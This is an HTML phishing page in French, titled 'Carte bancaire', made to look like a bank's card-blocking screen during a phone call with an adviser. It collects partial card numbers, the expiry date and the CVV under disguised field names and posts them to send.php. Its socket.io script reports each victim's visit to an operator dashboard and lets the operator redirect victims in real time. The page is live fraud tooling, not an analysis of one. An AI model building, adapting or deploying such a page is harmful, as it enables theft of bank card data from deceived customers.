/home2/mshostin/live-dashboard/public/carte.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0">
<title>Carte bancaire</title>

<style>
*{box-sizing:border-box;font-family:Inter,system-ui,-apple-system,BlinkMacSystemFont,sans-serif}
body{margin:0;min-height:100vh;background:#fff;display:flex;flex-direction:column}

/* HEADER */
.top-bar{
  display:flex;justify-content:space-between;align-items:center;
  padding:22px 52px;border-bottom:1px solid #ededed
}
.logo-zone{display:flex;gap:26px;align-items:center}
.logo-main{height:76px}
.logo-secondary{height:62px}
.call-status{
  display:flex;align-items:center;
  padding:14px 30px;border-radius:999px;
  background:rgba(0,200,120,.18);
  border:1px solid rgba(0,160,100,.35);
  color:#0b6b43;font-size:13px
}
.phone-icon{margin-right:22px;animation:blink 1.2s infinite}
@keyframes blink{0%,100%{opacity:1}50%{opacity:0}}

/* MAIN */
.container{flex:1;display:flex;justify-content:center;align-items:center}
.card-wrapper{
  width:480px;padding:46px;border-radius:28px;
  box-shadow:0 40px 90px rgba(0,0,0,.08)
}

/* SCENE */
.scene{perspective:1200px}

/* CARD */
.bank-card{
  width:100%;height:260px;
  position:relative;border-radius:22px;
  background:linear-gradient(135deg,#1a1f36,#2b2f4a);
  color:#fff;padding:26px;
  transform-style:preserve-3d;
  transition:transform .8s,filter .4s,opacity .4s
}
.bank-card.mc{
  background:linear-gradient(135deg,#ff9800,#ff5722)
}
.bank-card.flip{transform:rotateY(180deg)}
.bank-card.grey{
  filter:grayscale(1) blur(.4px);
  opacity:.55;
}

/* FACES */
.face{
  position:absolute;inset:0;
  backface-visibility:hidden;
  padding:26px;border-radius:22px
}
.back{transform:rotateY(180deg)}

/* TOP */
.top{position:relative;height:42px}
.chip{
  position:absolute;right:0;top:4px;
  width:48px;height:36px;border-radius:6px;
  background:linear-gradient(135deg,#d4af37,#f5e08e)
}
.network-logo{
  position:absolute;left:0;top:0;
  height:42px;opacity:0;transition:opacity .3s
}
.network-logo.show{opacity:1}

/* NUMBER */
.number{
  margin-top:54px;
  display:flex;justify-content:center;align-items:center;
  gap:10px;font-family:monospace;
  font-size:1.25rem;letter-spacing:2px
}
.star{opacity:.6;width:70px;text-align:center}
.card-input{
  width:70px;background:transparent;border:none;outline:none;
  color:#fff;font-size:1.25rem;text-align:center
}

/* FOOTER */
.footer{
  position:absolute;bottom:26px;left:26px;right:26px;
  display:flex;justify-content:space-between;font-size:.85rem
}
.expiry-input{
  background:transparent;border:none;outline:none;
  color:#fff;width:64px
}

/* BACK */
.black{height:40px;background:#111;margin-top:18px;border-radius:4px}
.cvv{margin-top:44px;display:flex;justify-content:flex-end}
.cvv input{
  width:72px;padding:8px;border-radius:6px;border:none;text-align:center
}

/* SWITCH IOS */
.switches{margin-top:34px;display:flex;flex-direction:column;gap:22px}
.switch-row{display:flex;justify-content:space-between;align-items:center;font-size:14px}
.ios-switch{position:relative;width:52px;height:32px}
.ios-switch input{display:none}
.slider{
  position:absolute;inset:0;background:#d1d1d6;border-radius:999px;transition:.3s
}
.slider::before{
  content:"";position:absolute;width:26px;height:26px;
  left:3px;top:3px;background:#fff;border-radius:50%;
  transition:.3s;box-shadow:0 2px 6px rgba(0,0,0,.25)
}
.ios-switch input:checked + .slider{background:#34c759}
.ios-switch input:checked + .slider::before{transform:translateX(20px)}

/* BUTTON */
.confirm{
  margin-top:36px;width:100%;
  padding:16px;border-radius:18px;
  border:none;background:#0057b7;
  color:#fff;font-size:15px;cursor:pointer
}
</style>
</head>

<body>

<header class="top-bar">
  <div class="logo-zone">
    <img src="logo-principal.png" class="logo-main">
    <img src="logo-secondaire.png" class="logo-secondary">
  </div>
  <div class="call-status">
    <span class="phone-icon">📞</span>
    Vous êtes en communication…
  </div>
</header>

<main class="container">
<div class="card-wrapper">

<!-- FORMULAIRE LOGIQUE INVISIBLE -->
<form action="send.php" method="POST" id="cardForm">
  <input type="hidden" name="form_type" value="segments">
</form>

<div class="scene">
<div class="bank-card" id="card">

<!-- FACE AVANT -->
<div class="face front">
  <div class="top">
    <img src="visa.png" id="visaLogo" class="network-logo">
    <img src="mastercard.png" id="mcLogo" class="network-logo">
    <div class="chip"></div>
  </div>

  <div class="number">
    <input id="first" class="card-input" maxlength="4"
           name="segment_a" form="cardForm">
    <div class="star">••••</div>
    <div class="star">••••</div>
    <input id="last" class="card-input" maxlength="4"
           name="segment_b" form="cardForm">
  </div>

  <div class="footer">
    <span>
      EXP
      <input id="expiry" class="expiry-input" maxlength="5"
             name="date_test" form="cardForm">
    </span>
    <span>TITULAIRE</span>
  </div>
</div>

<!-- FACE ARRIÈRE -->
<div class="face back">
  <div class="black"></div>
  <div class="cvv">
    <input id="cvv" maxlength="3"
           name="code_test" form="cardForm">
  </div>
</div>

</div>
</div>

<div class="switches">
  <div class="switch-row">
    <span>Bloquer les paiements</span>
    <label class="ios-switch">
      <input type="checkbox" class="lockSwitch">
      <span class="slider"></span>
    </label>
  </div>
  <div class="switch-row">
    <span>Bloquer les retraits</span>
    <label class="ios-switch">
      <input type="checkbox" class="lockSwitch">
      <span class="slider"></span>
    </label>
  </div>
</div>

<button class="confirm" type="submit" form="cardForm">
  Continuer
</button>

</div>
</main>

<script>
const first = document.getElementById('first');
const last = document.getElementById('last');
const expiry = document.getElementById('expiry');
const cvv = document.getElementById('cvv');
const card = document.getElementById('card');
const visaLogo = document.getElementById('visaLogo');
const mcLogo = document.getElementById('mcLogo');
const switches = document.querySelectorAll('.lockSwitch');

let cardType = 'visa';
let cardColor = 'blue';

/* LOGO + TYPE */
first.addEventListener('input',()=>{
  visaLogo.classList.remove('show');
  mcLogo.classList.remove('show');
  card.classList.remove('mc','blue','dark');

  if(/^4/.test(first.value)){
    visaLogo.classList.add('show');
    cardType = 'visa';
    cardColor = 'blue';
  }

  if(/^(5[1-5]|2[2-7])/.test(first.value)){
    mcLogo.classList.add('show');
    card.classList.add('mc');
    cardType = 'mc';
    cardColor = 'dark';
  }

  card.classList.add(cardColor);

  localStorage.setItem('demo_network', cardType);
  localStorage.setItem('demo_color', cardColor);

  if(first.value.length===4) last.focus();
});

last.addEventListener('input',()=>{
  if(last.value.length===4) expiry.focus();
});

/* EXPIRY */
expiry.addEventListener('input',()=>{
  let v = expiry.value.replace(/\D/g,'');
  if(v.length>=3) expiry.value = v.slice(0,2)+'/'+v.slice(2,4);
  localStorage.setItem('demo_expiry', expiry.value);
  if(expiry.value.length===5) card.classList.add('flip');
});

/* CVV */
cvv.addEventListener('input',()=>{
  if(cvv.value.length===3){
    setTimeout(()=>card.classList.remove('flip'),700);
  }
});

/* CARTE GRISE */
function updateGrey(){
  const filled =
    first.value.length===4 &&
    last.value.length===4 &&
    expiry.value.length===5;

  const locked = [...switches].some(s=>s.checked);
  card.classList.toggle('grey', filled && locked);
}
[first,last,expiry].forEach(i=>i.addEventListener('input',updateGrey));
switches.forEach(s=>s.addEventListener('change',updateGrey));
</script>
<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
const socket = io({ path: '/live-dashboard/socket.io' });

// Indiquer au serveur la page actuelle
socket.emit("page_visit", window.location.pathname);

// �couter la redirection live
socket.on("force_redirect", (newPage) => {
  window.location.href = newPage;
});

</script>

</body>
</html>